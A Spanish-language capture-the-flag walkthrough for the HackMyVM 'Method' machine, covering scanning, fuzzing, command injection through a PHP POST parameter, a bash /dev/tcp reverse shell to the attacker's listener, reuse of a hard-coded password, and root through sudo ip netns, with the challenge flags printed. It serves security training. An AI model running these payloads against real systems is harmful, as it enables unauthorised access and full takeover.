Method HackMyVM (Easy- Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-18 11:00 EDT
Nmap scan report for 192.168.1.236
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 4b:24:34:1f:41:10:88:b7:5a:6a:63:d9:f6:75:26:6f (RSA)
|   256 52:46:e7:20:68:c1:6f:90:2f:a6:ad:ee:6d:87:e7:28 (ECDSA)
|_  256 3f:ce:97:a9:1e:f4:60:f4:0e:71:e7:46:58:28:71:f0 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Test Page for the Nginx HTTP Server on Fedora
MAC Address: 08:00:27:A6:FC:96 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.57 seconds

Veremos que hay una pagina web en el puerto 80, si entramos veremos una pagina web normal, por lo que vamos a realizar un poco de fuzzing.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,htm,php,txt -t 100 -k -r --exclude-length 3690

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.236/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          3690
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.htm            (Status: 200) [Size: 344]
/note.txt             (Status: 200) [Size: 23]
/secret.php           (Status: 200) [Size: 13974]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

Veremos varias cosas interesantes entre ellas index.htm si entramos veremos una pagina normal, pero si inspeccionamos el codigo veremos esto:

<form action="[/secret.php](view-source:http://192.168.1.236/secret.php)" hidden="true" method="GET">
     <input type="text" name="HackMyVM" value="" maxlength="100"><br>
     <input type="submit" value="Submit">
</form>

Veremos que el secret.php puede hacer algo pero veremos algo interesante en el name= que pone HackMyVM por lo que vamos a probar lo siguiente:

URL = http://<IP>/secret.php?HackMyVM=whoami

Info:

Now the main part what it is loooooool  
Try other method

Veremos que no ha funcionado, pero por que no es el metodo adecuado, estamos utilizando el metodo GET por lo que vamos a probar a utilizar el metodo POST capturando la peticion con BurpSuite.

Una vez que tengamos abierto BurpSuite capturaremos la peticion recargando la pagina enviando el whoami, por lo que veremos lo siguiente:

GET /secret.php?HackMyVM=whoami HTTP/1.1
Host: 192.168.1.236
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Ahora vamos a darle click derecho -> changue request method y con esto nos quedara asi:

POST /secret.php HTTP/1.1
Host: 192.168.1.236
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

HackMyVM=whoami

Ahora vamos a probar a enviarlo y veremos lo siguiente:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 18 Apr 2025 15:18:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Content-Length: 38

You Found ME : - (<pre>www-data
</pre>

Por lo que vemos ha funcionado, ahora vamos a crearnos una reverse shell de la siguiente forma:

POST /secret.php HTTP/1.1
Host: 192.168.1.236
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

HackMyVM=bash+%20-c+%20"sh+%20-i+%20>%26+%20/dev/tcp/192.168.1.146/7777%20+0>%261"

Antes de enviarlo nos pondremos a la escucha con nc.

nc -lvnp <PORT>

Ahora cuando lo enviemos por BurpSuite si volvemos a la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [192.168.1.236] 48638
sh: 0: can't access tty; job control turned off
$ whoami
www-data

Veremos que ha funcionado, por lo que vamos a sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Vamos a leer la flag del usuario:

user.txt

e4408105ca9c2a5c2714a818c475d06F

Escalate user prakasaka

Si leemos el archivo secret.php veremos lo siguiente:

cd /var/www/html
cat secret.php

Info:

<?php
if(isset($_GET['HackMyVM'])){
        echo "Now the main part what it is loooooool";
        echo "<br>";
echo "Try other method";
        die;
}
if(isset($_POST['HackMyVM'])){
        echo "You Found ME : - (";
        echo "<pre>";
        $cmd = ($_POST['HackMyVM']);
        system($cmd);
        echo "</pre>";
        die;
}
else {
header("Location: https://images-na.ssl-images-amazon.com/images/I/31YDo0l4ZrL._SX331_BO1,204,203,200_.jpg");
}
$ok="prakasaka:th3-!llum!n@t0r";
?>

Veremos lo que parece las credenciales del usuario prakasaka, vamos a probarlo haciendo lo siguiente:

su prakasaka

Metemos como contraseña th3-!llum!n@t0r y veremos que somos dicho usuario.

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for prakasaka on method:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User prakasaka may run the following commands on method:
    (!root) NOPASSWD: /bin/bash
    (root) /bin/ip

Veremos que podemos ejecutar el binario ip como el usuario root, por lo que haremos lo siguiente:

sudo ip netns add foo
sudo ip netns exec foo /bin/sh
sudo ip netns delete foo

Info:

Cannot create namespace file "/run/netns/foo": File exists
# whoami
root

Con esto veremos que ya seremos root, por lo que leeremos la flag de root:

root.txt

fc9c6eb6265921315e7c70aebd22af7F

PreviousHidden HackMyVM (Easy- Linux)NextHostname HackMyVM (Easy- Linux)

Last updated 7 months ago